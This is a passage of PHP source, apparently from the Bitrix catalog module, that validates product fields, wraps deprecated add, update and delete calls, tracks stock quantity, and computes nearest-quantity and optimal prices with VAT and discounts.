$arFields["QUANTITY"] = doubleval($arFields["QUANTITY"]);
if (is_set($arFields, "QUANTITY_RESERVED") || $ACTION=="ADD")
$arFields["QUANTITY_RESERVED"] = doubleval($arFields["QUANTITY_RESERVED"]);
if (is_set($arFields, "OLD_QUANTITY"))
$arFields["OLD_QUANTITY"] = doubleval($arFields["OLD_QUANTITY"]);
if (is_set($arFields, "WEIGHT") || $ACTION=="ADD")
$arFields["WEIGHT"] = doubleval($arFields["WEIGHT"]);
if (is_set($arFields, "WIDTH") || $ACTION=="ADD")
$arFields["WIDTH"] = doubleval($arFields["WIDTH"]);
if (is_set($arFields, "LENGTH") || $ACTION=="ADD")
$arFields["LENGTH"] = doubleval($arFields["LENGTH"]);
if (is_set($arFields, "HEIGHT") || $ACTION=="ADD")
$arFields["HEIGHT"] = doubleval($arFields["HEIGHT"]);
if (is_set($arFields, "VAT_ID") || $ACTION=="ADD")
$arFields["VAT_ID"] = intval($arFields["VAT_ID"]);
if ((is_set($arFields, "VAT_INCLUDED") || $ACTION=="ADD") && ($arFields["VAT_INCLUDED"] != "Y"))
$arFields["VAT_INCLUDED"] = "N";
if ((is_set($arFields, "QUANTITY_TRACE") || $ACTION=="ADD") && ($arFields["QUANTITY_TRACE"] != "Y" && $arFields["QUANTITY_TRACE"] != "N"))
$arFields["QUANTITY_TRACE"] = "D";
if ((is_set($arFields, "CAN_BUY_ZERO") || $ACTION=="ADD") && ($arFields["CAN_BUY_ZERO"] != "Y" && $arFields["CAN_BUY_ZERO"] != "N"))
$arFields["CAN_BUY_ZERO"] = "D";
if (isset($arFields['CAN_BUY_ZERO']))
$arFields['NEGATIVE_AMOUNT_TRACE'] = $arFields['CAN_BUY_ZERO'];
if ((is_set($arFields, "PRICE_TYPE") || $ACTION=="ADD") && ($arFields["PRICE_TYPE"] != "R") && ($arFields["PRICE_TYPE"] != "T"))
$arFields["PRICE_TYPE"] = "S";
if ((is_set($arFields, "RECUR_SCHEME_TYPE") || $ACTION=="ADD") && (strlen($arFields["RECUR_SCHEME_TYPE"]) <= 0 || !in_array($arFields["RECUR_SCHEME_TYPE"], Catalog\ProductTable::getPaymentPeriods(false))))
{
$arFields["RECUR_SCHEME_TYPE"] = self::TIME_PERIOD_DAY;
}
if ((is_set($arFields, "RECUR_SCHEME_LENGTH") || $ACTION=="ADD") && (intval($arFields["RECUR_SCHEME_LENGTH"])<=0))
$arFields["RECUR_SCHEME_LENGTH"] = 0;
if ((is_set($arFields, "TRIAL_PRICE_ID") || $ACTION=="ADD") && (intval($arFields["TRIAL_PRICE_ID"])<=0))
$arFields["TRIAL_PRICE_ID"] = false;
if ((is_set($arFields, "WITHOUT_ORDER") || $ACTION=="ADD") && ($arFields["WITHOUT_ORDER"] != "Y"))
$arFields["WITHOUT_ORDER"] = "N";
if ((is_set($arFields, "SELECT_BEST_PRICE") || $ACTION=="ADD") && ($arFields["SELECT_BEST_PRICE"] != "N"))
$arFields["SELECT_BEST_PRICE"] = "Y";
$existPurchasingPrice = array_key_exists('PURCHASING_PRICE', $arFields);
$existPurchasingCurrency = array_key_exists('PURCHASING_CURRENCY', $arFields);
if ($ACTION == 'ADD')
{
$purchasingPrice = false;
$purchasingCurrency = false;
if ($existPurchasingPrice)
{
$purchasingPrice = static::checkPriceValue($arFields['PURCHASING_PRICE']);
if ($purchasingPrice !== false)
{
$purchasingCurrency = static::checkPriceCurrency($arFields['PURCHASING_CURRENCY']);
if ($purchasingCurrency === false)
{
$arMsg[] = array('id' => 'PURCHASING_CURRENCY','text' => Loc::getMessage('BT_MOD_CATALOG_PROD_ERR_COST_CURRENCY'));
$boolResult = false;
}
}
}
$arFields['PURCHASING_PRICE'] = $purchasingPrice;
$arFields['PURCHASING_CURRENCY'] = $purchasingCurrency;
unset($purchasingCurrency, $purchasingPrice);
}
else
{
if ($existPurchasingPrice || $existPurchasingCurrency)
{
if ($existPurchasingPrice)
{
$arFields['PURCHASING_PRICE'] = static::checkPriceValue($arFields['PURCHASING_PRICE']);
if ($arFields['PURCHASING_PRICE'] === false)
{
$arFields['PURCHASING_CURRENCY'] = false;
}
else
{
if ($existPurchasingCurrency)
{
$purchasingCurrency = static::checkPriceCurrency($arFields['PURCHASING_CURRENCY']);
if ($purchasingCurrency === false)
{
$arMsg[] = array('id' => 'PURCHASING_CURRENCY', 'text' => Loc::getMessage('BT_MOD_CATALOG_PROD_ERR_COST_CURRENCY'));
$boolResult = false;
}
else
{
$arFields['PURCHASING_CURRENCY'] = $purchasingCurrency;
}
unset($purchasingCurrency);
}
}
}
elseif ($existPurchasingCurrency)
{
$purchasingCurrency = static::checkPriceCurrency($arFields['PURCHASING_CURRENCY']);
if ($purchasingCurrency === false)
{
$arMsg[] = array('id' => 'PURCHASING_CURRENCY', 'text' => Loc::getMessage('BT_MOD_CATALOG_PROD_ERR_COST_CURRENCY'));
$boolResult = false;
}
else
{
$arFields['PURCHASING_CURRENCY'] = $purchasingCurrency;
}
unset($purchasingCurrency);
}
}
}
unset($existPurchasingCurrency, $existPurchasingPrice);
if ((is_set($arFields, 'BARCODE_MULTI') || 'ADD' == $ACTION) && 'Y' != $arFields['BARCODE_MULTI'])
$arFields['BARCODE_MULTI'] = 'N';
if (array_key_exists('SUBSCRIBE', $arFields))
{
if ('Y' != $arFields['SUBSCRIBE'] && 'N' != $arFields['SUBSCRIBE'])
$arFields['SUBSCRIBE'] = 'D';
}
if (array_key_exists('BUNDLE', $arFields))
$arFields['BUNDLE'] = ($arFields['BUNDLE'] == Catalog\ProductTable::STATUS_YES ? Catalog\ProductTable::STATUS_YES : Catalog\ProductTable::STATUS_NO);
if ($boolResult)
{
$availableFieldsList = array(
'QUANTITY',
'QUANTITY_TRACE',
'CAN_BUY_ZERO'
);
$needCalculateAvailable = false;
$copyFields = $arFields;
if (isset($copyFields['QUANTITY_TRACE']) && $copyFields['QUANTITY_TRACE'] == 'D')
$copyFields['QUANTITY_TRACE'] = Main\Config\Option::get('catalog', 'default_quantity_trace');
if (isset($copyFields['CAN_BUY_ZERO']) && $copyFields['CAN_BUY_ZERO'] == 'D')
$copyFields['CAN_BUY_ZERO'] = Main\Config\Option::get('catalog', 'default_can_buy_zero');
if (!isset($arFields['AVAILABLE']))
{
if (
!isset($arFields['TYPE'])
|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_PRODUCT
|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_OFFER
|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_FREE_OFFER
)
{
if (
$ACTION == 'ADD'
&& (
$arFields['TYPE'] == Catalog\ProductTable::TYPE_PRODUCT
|| $arFields['TYPE'] == Catalog\ProductTable::TYPE_OFFER
)
&& !isset($arFields['AVAILABLE'])
)
{
$needCalculateAvailable = true;
}
elseif ($ACTION == 'UPDATE')
{
$needFields = array();
foreach ($availableFieldsList as $availableField)
{
if (isset($arFields[$availableField]))
$needCalculateAvailable = true;
else
$needFields[] = $availableField;
}
unset($availableField);
if ($needCalculateAvailable && !empty($needFields))
{
$product = $productIterator = Catalog\ProductTable::getList(array(
'select' => $needFields,
'filter' => array('=ID' => $ID)
))->fetch();
if (!empty($product) && is_array($product))
{
foreach ($availableFieldsList as $availableField)
{
if (isset($copyFields[$availableField]))
continue;
$copyFields[$availableField] = $product[$availableField];
}
unset($availableField);
}
unset($product);
}
unset($needFields);
}
}
elseif (isset($arFields['TYPE']) && $arFields['TYPE'] == CCatalogProduct::TYPE_SKU)
{
$offerList = CCatalogSku::getOffersList(array($ID), 0, array('ACTIVE' => 'Y'), array('ID'));
if (!empty($offerList[$ID]))
{
$skuAvailable = false;
$offerIterator = Catalog\ProductTable::getList(array(
'select' => array('ID', 'QUANTITY', 'QUANTITY_TRACE', 'CAN_BUY_ZERO'),
'filter' => array('@ID' => array_keys($offerList[$ID]))
));
while ($offer = $offerIterator->fetch())
{
if (Catalog\ProductTable::calculateAvailable($offer) == Catalog\ProductTable::STATUS_YES)
$skuAvailable = true;
}
unset($offer, $offerIterator);
if ($skuAvailable)
{
$arFields['AVAILABLE'] = 'Y';
$arFields['QUANTITY'] = '0';
$arFields['QUANTITY_TRACE'] = 'N';
$arFields['CAN_BUY'] = 'Y';
}
else
{
$arFields['AVAILABLE'] = 'N';
$arFields['QUANTITY'] = '0';
$arFields['QUANTITY_TRACE'] = 'Y';
$arFields['CAN_BUY'] = 'N';
}
}
else
{
$arFields['AVAILABLE'] = 'N';
}
unset($offerList);
}
}
if ($needCalculateAvailable)
$arFields['AVAILABLE'] = Catalog\ProductTable::calculateAvailable($copyFields);
unset($copyFields);
}
if (!$boolResult)
{
$obError = new CAdminException($arMsg);
$APPLICATION->ThrowException($obError);
}
return $boolResult;
}
/**
* @deprecated deprecated since catalog 17.6.0
* @see \Bitrix\Catalog\Model\Product::add
*
* @param array $fields
* @param bool $checkExist
* @return bool
*/
public static function Add($fields, $checkExist = true)
{
$existProduct = false;
$checkExist = ($checkExist !== false);
if (empty($fields['ID']))
return false;
$fields['ID'] = (int)$fields['ID'];
if ($fields['ID'] <= 0)
return false;
if ($checkExist)
{
$data = Catalog\Model\Product::getCacheItem($fields['ID'], true);
if (!empty($data))
$existProduct = !empty($data['ID']);
unset($data);
}
self::normalizeFields($fields);
if ($existProduct)
$result = Catalog\Model\Product::update($fields['ID'], $fields);
else
$result = Catalog\Model\Product::add($fields);
$success = $result->isSuccess();
if (!$success)
self::convertErrors($result);
unset($result);
return $success;
}
/**
* @deprecated deprecated since catalog 17.6.0
* @see \Bitrix\Catalog\Model\Product::update
*
* @param int $id
* @param array $fields
* @return bool
*/
public static function Update($id, $fields)
{
$id = (int)$id;
if ($id <= 0)
return false;
if (!is_array($fields))
return false;
self::normalizeFields($fields);
$result = Catalog\Model\Product::update($id, $fields);
$success = $result->isSuccess();
if (!$success)
self::convertErrors($result);
unset($result);
return $success;
}
/**
* @deprecated deprecated since catalog 17.6.0
* @see \Bitrix\Catalog\Model\Product::delete
*
* @param int $id
* @return bool
*/
public static function Delete($id)
{
$id = (int)$id;
if ($id <= 0)
return false;
$result = Catalog\Model\Product::delete($id);
return $result->isSuccess();
}
public static function ParseQueryBuildField($field)
{
$field = (string)$field;
if ($field == '')
return false;
$field = strtoupper($field);
if (strncmp($field, 'CATALOG_', 8) != 0)
return false;
$iNum = 0;
$field = substr($field, 8);
$p = strrpos($field, '_');
if ($p !== false && $p > 0)
{
$iNum = (int)substr($field, $p+1);
if ($iNum > 0)
$field = substr($field, 0, $p);
}
return array(
'FIELD' => $field,
'NUM' => $iNum
);
}
/**
* @deprecated deprecated since catalog 17.6.2
* @see Catalog\Model\Product::getList
*
* @param int $ID
* @return array|false
*/
public static function GetByID($ID)
{
$ID = (int)$ID;
if ($ID <= 0)
return false;
$iterator = Catalog\Model\Product::getList([
'select' => [
'ID', 'QUANTITY', 'QUANTITY_RESERVED', 'QUANTITY_TRACE', 'QUANTITY_TRACE_ORIG', 'WEIGHT', 'WIDTH', 'LENGTH', 'HEIGHT', 'MEASURE',
'VAT_ID', 'VAT_INCLUDED', 'CAN_BUY_ZERO', 'CAN_BUY_ZERO_ORIG', 'NEGATIVE_AMOUNT_TRACE', 'NEGATIVE_AMOUNT_TRACE_ORIG',
'PRICE_TYPE', 'RECUR_SCHEME_TYPE', 'RECUR_SCHEME_LENGTH', 'TRIAL_PRICE_ID', 'WITHOUT_ORDER', 'SELECT_BEST_PRICE',
'TMP_ID', 'PURCHASING_PRICE', 'PURCHASING_CURRENCY', 'BARCODE_MULTI', 'SUBSCRIBE', 'SUBSCRIBE_ORIG',
'TYPE', 'BUNDLE', 'AVAILABLE', 'TIMESTAMP_X'
],
'filter' => ['=ID' => $ID]
]);
$result = $iterator->fetch();
unset($iterator);
if (empty($result))
return false;
if ($result['TIMESTAMP_X'] !== null and $result['TIMESTAMP_X'] instanceof Main\Type\DateTime)
{
/** @noinspection PhpUndefinedMethodInspection */
$result['TIMESTAMP_X'] = $result['TIMESTAMP_X']->toString();
}
return $result;
}
/**
* @deprecated deprecated since catalog 17.6.0
*
* @param $ID
* @param bool $boolAllValues
* @return array|bool
*/
public static function GetByIDEx($ID, $boolAllValues = false)
{
$boolAllValues = ($boolAllValues === true);
$ID = (int)$ID;
if ($ID <= 0)
return false;
$arFilter = array("ID" => $ID, "ACTIVE" => "Y", "ACTIVE_DATE" => "Y");
$dbIBlockElement = CIBlockElement::GetList(array(), $arFilter);
if ($arIBlockElement = $dbIBlockElement->GetNext())
{
if ($arIBlock = CIBlock::GetArrayByID($arIBlockElement["IBLOCK_ID"]))
{
$arIBlockElement["IBLOCK_ID"] = $arIBlock["ID"];
$arIBlockElement["IBLOCK_NAME"] = htmlspecialcharsbx($arIBlock["NAME"]);
$arIBlockElement["~IBLOCK_NAME"] = $arIBlock["NAME"];
$arIBlockElement["PROPERTIES"] = false;
$dbProps = CIBlockElement::GetProperty($arIBlock["ID"], $ID, "sort", "asc", array("ACTIVE"=>"Y", "NON_EMPTY"=>"Y"));
if ($arProp = $dbProps->Fetch())
{
$arAllProps = array();
do
{
$strID = (strlen($arProp["CODE"])>0 ? $arProp["CODE"] : $arProp["ID"]);
if (is_array($arProp["VALUE"]))
{
foreach ($arProp["VALUE"] as &$strOneValue)
{
$strOneValue = htmlspecialcharsbx($strOneValue);
}
if (isset($strOneValue))
unset($strOneValue);
}
else
{
$arProp["VALUE"] = htmlspecialcharsbx($arProp["VALUE"]);
}
if (is_array($arProp["DEFAULT_VALUE"]))
{
foreach ($arProp["DEFAULT_VALUE"] as $index => $value)
{
if (is_string($value))
$arProp["DEFAULT_VALUE"][$index] = htmlspecialcharsbx($value);
}
}
else
{
$arProp["DEFAULT_VALUE"] = htmlspecialcharsbx($arProp["DEFAULT_VALUE"]);
}
if ($boolAllValues && 'Y' == $arProp['MULTIPLE'])
{
if (!isset($arAllProps[$strID]))
{
$arAllProps[$strID] = array(
"NAME" => htmlspecialcharsbx($arProp["NAME"]),
"VALUE" => array($arProp["VALUE"]),
"VALUE_ENUM" => array(htmlspecialcharsbx($arProp["VALUE_ENUM"])),
"VALUE_XML_ID" => array(htmlspecialcharsbx($arProp["VALUE_XML_ID"])),
"DEFAULT_VALUE" => $arProp["DEFAULT_VALUE"],
"SORT" => htmlspecialcharsbx($arProp["SORT"]),
"MULTIPLE" => $arProp['MULTIPLE'],
);
}
else
{
$arAllProps[$strID]['VALUE'][] = $arProp["VALUE"];
$arAllProps[$strID]['VALUE_ENUM'][] = htmlspecialcharsbx($arProp["VALUE_ENUM"]);
$arAllProps[$strID]['VALUE_XML_ID'][] = htmlspecialcharsbx($arProp["VALUE_XML_ID"]);
}
}
else
{
$arAllProps[$strID] = array(
"NAME" => htmlspecialcharsbx($arProp["NAME"]),
"VALUE" => $arProp["VALUE"],
"VALUE_ENUM" => htmlspecialcharsbx($arProp["VALUE_ENUM"]),
"VALUE_XML_ID" => htmlspecialcharsbx($arProp["VALUE_XML_ID"]),
"DEFAULT_VALUE" => $arProp["DEFAULT_VALUE"],
"SORT" => htmlspecialcharsbx($arProp["SORT"]),
"MULTIPLE" => $arProp['MULTIPLE'],
);
}
}
while($arProp = $dbProps->Fetch());
$arIBlockElement["PROPERTIES"] = $arAllProps;
}
// bugfix: 2007-07-31 by Sigurd
$arIBlockElement["PRODUCT"] = CCatalogProduct::GetByID($ID);
$dbPrices = CPrice::GetList(array("SORT" => "ASC"), array("PRODUCT_ID" => $ID));
if ($arPrices = $dbPrices->Fetch())
{
$arAllPrices = array();
do
{
$arAllPrices[$arPrices["CATALOG_GROUP_ID"]] = array(
"EXTRA_ID" => intval($arPrices["EXTRA_ID"]),
"PRICE" => doubleval($arPrices["PRICE"]),
"CURRENCY" => htmlspecialcharsbx($arPrices["CURRENCY"])
);
}
while($arPrices = $dbPrices->Fetch());
$arIBlockElement["PRICES"] = $arAllPrices;
}
return $arIBlockElement;
}
}
return false;
}
public static function QuantityTracer($ProductID, $DeltaQuantity)
{
$boolClearCache = false;
$ProductID = (int)$ProductID;
if ($ProductID <= 0)
return false;
$DeltaQuantity = (float)$DeltaQuantity;
if ($DeltaQuantity==0)
return false;
$rsProducts = CCatalogProduct::GetList(
array(),
array('ID' => $ProductID),
false,
false,
array('ID', 'CAN_BUY_ZERO', 'NEGATIVE_AMOUNT_TRACE', 'QUANTITY_TRACE', 'QUANTITY', 'ELEMENT_IBLOCK_ID')
);
if (($arProduct = $rsProducts->Fetch())
&& ($arProduct["QUANTITY_TRACE"]=="Y"))
{
$strAllowNegativeAmount = $arProduct["NEGATIVE_AMOUNT_TRACE"];
$arFields = array();
$arFields["QUANTITY"] = (float)$arProduct["QUANTITY"] - $DeltaQuantity;
if ('Y' != $arProduct['CAN_BUY_ZERO'])
{
if (defined("BX_COMP_MANAGED_CACHE"))
{
$boolClearCache = (0 >= $arFields["QUANTITY"]*$arProduct["QUANTITY"]);
}
}
if ('Y' != $arProduct['CAN_BUY_ZERO'] || 'Y' != $strAllowNegativeAmount)
{
if (0 >= $arFields["QUANTITY"])
$arFields["QUANTITY"] = 0;
}
$arFields['OLD_QUANTITY'] = $arProduct["QUANTITY"];
CCatalogProduct::Update($arProduct["ID"], $arFields);
if ($boolClearCache)
CIBlock::clearIblockTagCache($arProduct['ELEMENT_IBLOCK_ID']);
$arProduct['OLD_QUANTITY'] = $arFields['OLD_QUANTITY'];
$arProduct['QUANTITY'] = $arFields['QUANTITY'];
$arProduct['ALLOW_NEGATIVE_AMOUNT'] = $strAllowNegativeAmount;
$arProduct['DELTA'] = $DeltaQuantity;
foreach (GetModuleEvents("catalog", "OnProductQuantityTrace", true) as $arEvent)
{
ExecuteModuleEventEx($arEvent, array($arProduct["ID"], $arProduct));
}
return true;
}
return false;
}
/**
* @param int $productID
* @param int|float $quantity
* @param array $arUserGroups
* @return bool|float|int
*/
public static function GetNearestQuantityPrice($productID, $quantity = 1, $arUserGroups = array())
{
static $eventOnGetExists = null;
static $eventOnResultExists = null;
global $APPLICATION;
if ($eventOnGetExists === true || $eventOnGetExists === null)
{
foreach (GetModuleEvents('catalog', 'OnGetNearestQuantityPrice', true) as $arEvent)
{
$eventOnGetExists = true;
$mxResult = ExecuteModuleEventEx(
$arEvent,
array(
$productID,
$quantity,
$arUserGroups
)
);
if ($mxResult !== true)
return $mxResult;
}
if ($eventOnGetExists === null)
$eventOnGetExists = false;
}
// Check input params
$productID = (int)$productID;
if ($productID <= 0)
{
$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_PRODUCT_ID_ABSENT"), "NO_PRODUCT_ID");
return false;
}
$quantity = (float)$quantity;
if ($quantity <= 0)
{
$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_QUANTITY_ABSENT"), "NO_QUANTITY");
return false;
}
if (!is_array($arUserGroups) && (int)$arUserGroups.'|' == (string)$arUserGroups.'|')
$arUserGroups = array((int)$arUserGroups);
if (!is_array($arUserGroups))
$arUserGroups = array();
if (!in_array(2, $arUserGroups))
$arUserGroups[] = 2;
$quantityDifference = -1;
$nearestQuantity = -1;
// Find nearest quantity
$priceTypeList = self::getAllowedPriceTypes($arUserGroups);
if (empty($priceTypeList))
return false;
$iterator = Catalog\PriceTable::getList(array(
'select' => array('ID', 'QUANTITY_FROM', 'QUANTITY_TO'),
'filter' => array(
'=PRODUCT_ID' => $productID,
'@CATALOG_GROUP_ID' => $priceTypeList,
)
));
while ($arPriceList = $iterator->fetch())
{
$arPriceList['QUANTITY_FROM'] = (float)$arPriceList['QUANTITY_FROM'];
$arPriceList['QUANTITY_TO'] = (float)$arPriceList['QUANTITY_TO'];
if ($quantity >= $arPriceList["QUANTITY_FROM"]
&& ($quantity <= $arPriceList["QUANTITY_TO"] || $arPriceList["QUANTITY_TO"] == 0))
{
$nearestQuantity = $quantity;
break;
}
if ($quantity < $arPriceList["QUANTITY_FROM"])
{
$nearestQuantity_tmp = $arPriceList["QUANTITY_FROM"];
$quantityDifference_tmp = $arPriceList["QUANTITY_FROM"] - $quantity;
}
else
{
$nearestQuantity_tmp = $arPriceList["QUANTITY_TO"];
$quantityDifference_tmp = $quantity - $arPriceList["QUANTITY_TO"];
}
if ($quantityDifference < 0 || $quantityDifference_tmp < $quantityDifference)
{
$quantityDifference = $quantityDifference_tmp;
$nearestQuantity = $nearestQuantity_tmp;
}
}
unset($arPriceList, $iterator);
unset($priceTypeList);
if ($eventOnResultExists === true || $eventOnResultExists === null)
{
foreach (GetModuleEvents('catalog', 'OnGetNearestQuantityPriceResult', true) as $arEvent)
{
$eventOnResultExists = true;
if (ExecuteModuleEventEx($arEvent, array(&$nearestQuantity)) === false)
return false;
}
if ($eventOnResultExists === null)
$eventOnResultExists = false;
}
return ($nearestQuantity > 0 ? $nearestQuantity : false);
}
/**
* @param int $intProductID
* @param int|float $quantity
* @param array $arUserGroups
* @param string $renewal
* @param array $priceList
* @param bool|string $siteID
* @param bool|array $arDiscountCoupons
* @return array|bool
*/
public static function GetOptimalPrice($intProductID, $quantity = 1, $arUserGroups = array(), $renewal = "N", $priceList = array(), $siteID = false, $arDiscountCoupons = false)
{
static $eventOnGetExists = null;
static $eventOnResultExists = null;
global $APPLICATION;
if ($eventOnGetExists === true || $eventOnGetExists === null)
{
foreach (GetModuleEvents('catalog', 'OnGetOptimalPrice', true) as $arEvent)
{
$eventOnGetExists = true;
$mxResult = ExecuteModuleEventEx(
$arEvent,
array(
$intProductID,
$quantity,
$arUserGroups,
$renewal,
$priceList,
$siteID,
$arDiscountCoupons
)
);
if ($mxResult !== true)
{
self::updateUserHandlerOptimalPrice(
$mxResult,
['PRODUCT_ID' => $intProductID]
);
return $mxResult;
}
}
if ($eventOnGetExists === null)
$eventOnGetExists = false;
}
$intProductID = (int)$intProductID;
if ($intProductID <= 0)
{
$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_PRODUCT_ID_ABSENT"), "NO_PRODUCT_ID");
return false;
}
$quantity = (float)$quantity;
if ($quantity <= 0)
{
$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_QUANTITY_ABSENT"), "NO_QUANTITY");
return false;
}
if (!is_array($arUserGroups) && (int)$arUserGroups.'|' == (string)$arUserGroups.'|')
$arUserGroups = array((int)$arUserGroups);
if (!is_array($arUserGroups))
$arUserGroups = array();
if (!in_array(2, $arUserGroups))
$arUserGroups[] = 2;
Main\Type\Collection::normalizeArrayValuesByInt($arUserGroups);
$renewal = ($renewal == 'Y' ? 'Y' : 'N');
if ($siteID === false)
$siteID = SITE_ID;
$resultCurrency = Catalog\Product\Price\Calculation::getCurrency();
if (empty($resultCurrency))
{
$APPLICATION->ThrowException(Loc::getMessage("BT_MOD_CATALOG_PROD_ERR_NO_RESULT_CURRENCY"));
return false;
}
$intIBlockID = (int)CIBlockElement::GetIBlockByID($intProductID);
if ($intIBlockID <= 0)
{
$APPLICATION->ThrowException(
Loc::getMessage(
'BT_MOD_CATALOG_PROD_ERR_ELEMENT_ID_NOT_FOUND',
array('#ID#' => $intProductID)
),
'NO_ELEMENT'
);
return false;
}
if (!isset($priceList) || !is_array($priceList))
$priceList = array();
if (empty($priceList))
{
$priceTypeList = self::getAllowedPriceTypes($arUserGroups);
if (empty($priceTypeList))
return false;
$iterator = Catalog\PriceTable::getList(array(
'select' => array('ID', 'CATALOG_GROUP_ID', 'PRICE', 'CURRENCY'),
'filter' => array(
'=PRODUCT_ID' => $intProductID,
'@CATALOG_GROUP_ID' => $priceTypeList,
array(
'LOGIC' => 'OR',
'<=QUANTITY_FROM' => $quantity,
'=QUANTITY_FROM' => null
),
array(
'LOGIC' => 'OR',
'>=QUANTITY_TO' => $quantity,
'=QUANTITY_TO' => null
)
)
));
while ($row = $iterator->fetch())
{
$row['ELEMENT_IBLOCK_ID'] = $intIBlockID;
$priceList[] = $row;
}
unset($row, $iterator);
unset($priceTypeList);
}
else
{
foreach (array_keys($priceList) as $priceIndex)
$priceList[$priceIndex]['ELEMENT_IBLOCK_ID'] = $intIBlockID;
unset($priceIndex);
}
if (empty($priceList))
return false;
$vat = CCatalogProduct::GetVATDataByID($intProductID);
if (!empty($vat))
{
$vat['RATE'] = (float)$vat['RATE'] * 0.01;
}
else
{
$vat = array('RATE' => 0.0, 'VAT_INCLUDED' => 'N');
}
unset($iterator);
$isNeedDiscounts = Catalog\Product\Price\Calculation::isAllowedUseDiscounts();
$resultWithVat = Catalog\Product\Price\Calculation::isIncludingVat();
if ($isNeedDiscounts)
{
if ($arDiscountCoupons === false)
$arDiscountCoupons = CCatalogDiscountCoupon::GetCoupons();
}
// $boolDiscountVat = ('N' != COption::GetOptionString('catalog', 'discount_vat', 'Y'));
$boolDiscountVat = true;
$minimalPrice = array();
if (self::$saleIncluded === null)
self::initSaleSettings();
$isNeedleToMinimizeCatalogGroup = self::isNeedleToMinimizeCatalogGroup($priceList);
foreach ($priceList as $priceData)
{
$priceData['VAT_RATE'] = $vat['RATE'];
$priceData['VAT_INCLUDED'] = $vat['VAT_INCLUDED'];
$currentPrice = (float)$priceData['PRICE'];
if ($boolDiscountVat)
{
if ($priceData['VAT_INCLUDED'] == 'N')
$currentPrice *= (1 + $priceData['VAT_RATE']);
}
else
{
if ($priceData['VAT_INCLUDED'] == 'Y')
$currentPrice /= (1 + $priceData['VAT_RATE']);
}
if ($priceData['CURRENCY'] != $resultCurrency)
$currentPrice = CCurrencyRates::ConvertCurrency($currentPrice, $priceData['CURRENCY'], $resultCurrency);
$currentPrice = Catalog\Product\Price\Calculation::roundPrecision($currentPrice);
$result = array(
'BASE_PRICE' => $currentPrice,
'COMPARE_PRICE' => $currentPrice,
'PRICE' => $currentPrice,
'CURRENCY' => $resultCurrency,
'DISCOUNT_LIST' => array(),
'RAW_PRICE' => $priceData
);
if ($isNeedDiscounts)
{
$arDiscounts = CCatalogDiscount::GetDiscount(
$intProductID,
$intIBlockID,
$priceData['CATALOG_GROUP_ID'],
$arUserGroups,
$renewal,
$siteID,
$arDiscountCoupons
);
$discountResult = CCatalogDiscount::applyDiscountList($currentPrice, $resultCurrency, $arDiscounts);
unset($arDiscounts);
if ($discountResult === false)
return false;
$result['PRICE'] = $discountResult['PRICE'];
$result['COMPARE_PRICE'] = $discountResult['PRICE'];
$result['DISCOUNT_LIST'] = $discountResult['DISCOUNT_LIST'];
unset($discountResult);
}
elseif($isNeedleToMinimizeCatalogGroup)
{
$calculateData = $priceData;
$calculateData['PRICE'] = $currentPrice;
$calculateData['CURRENCY'] = $resultCurrency;
$possibleSalePrice = self::getPossibleSalePrice(
$intProductID,
$calculateData,
$quantity,
$siteID,
$arUserGroups,
$arDiscountCoupons
);
unset($calculateData);
if ($possibleSalePrice === null)
return false;
$result['COMPARE_PRICE'] = $possibleSalePrice;
unset($possibleSalePrice);
}
if ($boolDiscountVat)
{
if (!$resultWithVat)
{
$result['PRICE'] /= (1 + $priceData['VAT_RATE']);
$result['COMPARE_PRICE'] /= (1 + $priceData['VAT_RATE']);
$result['BASE_PRICE'] /= (1 + $priceData['VAT_RATE']);
}
}
else
{
if ($resultWithVat)
{
$result['PRICE'] *= (1 + $priceData['VAT_RATE']);
$result['COMPARE_PRICE'] *= (1 + $priceData['VAT_RATE']);
$result['BASE_PRICE'] *= (1 + $priceData['VAT_RATE']);
}
}
$result['UNROUND_PRICE'] = $result['PRICE'];
$result['UNROUND_BASE_PRICE'] = $result['BASE_PRICE'];
if (Catalog\Product\Price\Calculation::isComponentResultMode())
{
$result['BASE_PRICE'] = Catalog\Product\Price::roundPrice(
$priceData['CATALOG_GROUP_ID'],
$result['BASE_PRICE'],
$resultCurrency
);
$result['PRICE'] = Catalog\Product\Price::roundPrice(
$priceData['CATALOG_GROUP_ID'],
$result['PRICE'],
$resultCurrency
);
if (
empty($result['DISCOUNT_LIST'])
|| Catalog\Product\Price\Calculation::compare($result['BASE_PRICE'], $result['PRICE'], '<=')
)
{
$result['BASE_PRICE'] = $result['PRICE'];
}
$result['COMPARE_PRICE'] = $result['PRICE'];
}
if (empty($minimalPrice) || $minimalPrice['COMPARE_PRICE'] > $result['COMPARE_PRICE'])
{
$minimalPrice = $result;
}
unset($currentPrice, $result);
}
unset($priceData);
unset($vat);
$discountValue = ($minimalPrice['BASE_PRICE'] - $minimalPrice['PRICE']);
$arResult = array(
'PRICE' => $minimalPrice['RAW_PRICE'],
'RESULT_PRICE' => array(
'PRICE_TYPE_ID' => $minimalPrice['RAW_PRICE']['CATALOG_GROUP_ID'],
'BASE_PRICE' => $minimalPrice['BASE_PRICE'],
'DISCOUNT_PRICE' => $minimalPrice['PRICE'],
'CURRENCY' => $resultCurrency,
'DISCOUNT' => $discountValue,
'PERCENT' => (
$minimalPrice['BASE_PRICE'] > 0 && $discountValue > 0
? roundEx((100*$discountValue)/$minimalPrice['BASE_PRICE'], 0)
: 0
),
'VAT_RATE' => $minimalPrice['RAW_PRICE']['VAT_RATE'],
'VAT_INCLUDED' => ($resultWithVat ? 'Y' : 'N'),
'UNROUND_BASE_PRICE' => $minimalPrice['UNROUND_BASE_PRICE'],
'UNROUND_DISCOUNT_PRICE' => $minimalPrice['UNROUND_PRICE']
),
'DISCOUNT_PRICE' => $minimalPrice['PRICE'],
'DISCOUNT' => array(),
'DISCOUNT_LIST' => array(),
'PRODUCT_ID' => $intProductID
);
if (!empty($minimalPrice['DISCOUNT_LIST']))
{
reset($minimalPrice['DISCOUNT_LIST']);
$arResult['DISCOUNT'] = current($minimalPrice['DISCOUNT_LIST']);
$arResult['DISCOUNT_LIST'] = $minimalPrice['DISCOUNT_LIST'];
}
unset($minimalPrice);
if ($eventOnResultExists === true || $eventOnResultExists === null)
{
